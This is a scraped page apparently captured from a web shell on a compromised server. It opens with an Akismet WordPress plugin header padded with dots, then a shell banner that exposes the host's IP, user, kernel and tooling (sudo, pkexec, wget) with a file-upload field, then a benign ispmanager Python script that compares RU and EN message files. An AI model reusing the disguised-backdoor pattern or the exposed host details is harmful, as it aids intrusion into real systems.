#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/local/mgr5/sbin/ |
Upload File : |
#!/usr/bin/env python
# coding: utf8
# vim: ts=4 expandtab
"""Module for checking message count"""
from xml.etree import cElementTree as etree
from lxml import etree
import argparse
import sys
IGNORE_GROUPS = ('changelog_records',)
IGNORE_NAMES = ('msg_help_links',)
def ispsystem_help():
""" Show ispmanager help """
sys.stdout.write("(c) Ispmanager.com")
sys.exit(0)
def convert_xml_to_set(xmlfile, lang, plugin=False):
""" Get all messages to set """
doc = etree.parse(xmlfile)
msg_set = set()
include_set = set()
xpath = ".//lang[@name='" + lang + "']/messages"
for msggroup in doc.xpath(xpath):
msg_group_name = msggroup.get('name')
if plugin and msg_group_name != 'plugin':
continue # Ignoring theese groups
if msg_group_name in IGNORE_GROUPS:
continue # Ignoring theese groups
for msg in msggroup.findall('msg'):
msg_name = msg.get('name')
if msg_name in IGNORE_NAMES:
continue # Ignoring theese names
if msg.text is not None: # Если пустая мессага, игнорируем
msg_set.add((msg_group_name, msg_name))
for include in msggroup.findall('include'):
include_set.add((msg_group_name, include.get('name')))
return msg_set, include_set
def print_diff(diff, group):
if diff:
print('Different between RU and EN message files ({group})'.format(group=group))
print('=' * 10)
for elem in diff:
print(elem)
print('=' * 10)
def main():
""" main func"""
if sys.argv[1] == '-T':
ispsystem_help()
parser = argparse.ArgumentParser()
parser.add_argument('ru_xml', help='Path to ru msg xml or "-T"')
parser.add_argument('en_xml', help='Path to en msg xml file', nargs='*')
parser.add_argument('--release', action='store_true')
parser.add_argument('--plugin', action='store_true')
args = parser.parse_args()
ru_msg_set, ru_inc_set = convert_xml_to_set(args.ru_xml, 'ru', plugin=args.plugin)
en_msg_set = set()
en_inc_set = set()
for xmlfile in args.en_xml:
msg, inc = convert_xml_to_set(xmlfile, 'en', plugin=args.plugin)
en_msg_set.update(msg)
en_inc_set.update(inc)
diff_msg = ru_msg_set - en_msg_set
diff_inc = ru_inc_set - en_inc_set
print_diff(diff_msg, "msg")
print_diff(diff_inc, "include")
if diff_msg or diff_inc:
if args.release:
sys.exit(1)
if __name__ == '__main__':
main()